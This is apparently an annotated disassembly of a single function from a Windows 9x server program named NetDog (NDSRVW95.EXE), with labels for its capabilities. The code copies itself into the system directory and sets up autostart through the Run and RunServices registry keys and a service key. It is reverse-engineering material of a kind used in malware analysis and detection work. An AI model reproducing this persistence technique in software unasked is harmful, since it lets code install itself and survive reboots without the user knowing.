Function at 0x406c90
Capabilities:
Copy file
Delete registry value
Get common file path
Persist via run registry key
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x3c4
push ebx
push ebp
push esi
lea eax, [esp + 0x1c]
push edi
push eax
mov dword [esp + 0x24], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x30], 1
je 0x406cd8
push 0
push str.PLATFORM_ERROR
push str.This_program_need_Windows95_98.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3c4
ret
lea ecx, [esp + 0x14]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push reloc.WSOCK32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
test eax, eax
je 0x406d1c
push 1
push str.ERROR
push str.Cannot_open_Registry__do_you_want_continue_
push 0
call edi
cmp eax, 2
jne 0x406d1c
pop edi
pop esi
pop ebp
mov eax, 3
pop ebx
add esp, 0x3c4
ret
mov edx, dword [esp + 0x14]
push str.NHNetDogService
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.NetDog_server_for_Windows_9X
push str.NDServerWin9X
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, eax
test esi, esi
je 0x406e7d
push 1
push str.Infomation
push str.An_old_version_of_ServerProgram_has_been_installed__it_will_be_overwrite_with_this_new_version_automatically.
push 0
call edi
cmp eax, 2
jne 0x406d77
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c4
ret
push 0
push 0
push 2
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [esp + 0x1b8]
push 0x104
push ecx
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x1b8]
push edx
call esi
mov cl, byte [esp + eax + 0x1b7]
mov bl, 0x5c
cmp cl, bl
je 0x406dbf
mov byte [esp + eax + 0x1b8], bl
mov byte [esp + eax + 0x1b9], 0
lea eax, [esp + 0xb4]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0xb4]
push ecx
call esi
cmp byte [esp + eax + 0xb3], bl
je 0x406df4
mov byte [esp + eax + 0xb4], bl
mov byte [esp + eax + 0xb5], 0
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x1b8]
push str.NDSRVW95.EXE
push edx
call esi
lea eax, [esp + 0xb4]
push str.NDSRVW95.EXE
push eax
call esi
lea ecx, [esp + 0x1b8]
push 0
lea edx, [esp + 0xb8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x406e7d
lea eax, [esp + 0xb4]
lea ecx, [esp + 0x1b8]
push eax
push ecx
lea edx, [esp + 0x2c4]
push str.Cannot_overwrite_file___s___please_overwrite_this_file_with___s__by_manual.
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0x2bc]
push 0
push str.ERROR
push eax
push 0
call edi
pop edi
pop esi
pop ebp
mov eax, 6
pop ebx
add esp, 0x3c4
ret
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], 0x94
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x30], 1
jne 0x406f47
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea edx, [esp + 0x18]
push edx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.dll_bind
call edi
mov esi, eax
lea eax, [esp + 0x10]
push eax
push str.SystemCurrentControlSetServicesNHNetDogService
push reloc.WSOCK32.dll_bind
call edi
test esi, esi
mov ebx, eax
jne 0x406f19
push 0x104
push 0x416b40
call ebp
push 2
push 0x4118d4
push 0x416b40
call fcn.00407bc0
push 0xc
push str.ndsrvw95.exe
push 0x416b40
call fcn.00407bc0
mov ecx, dword [esp + 0x30]
add esp, 0x18
push 0x104
push 0x416b40
push 1
push esi
push str.NHNetDogService
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test ebx, ebx
jne 0x406f47
mov edx, dword [esp + 0x10]
push 5
push str.FALSE
push 1
push str.Static
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push str.Nodes
push ecx
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x3c4
ret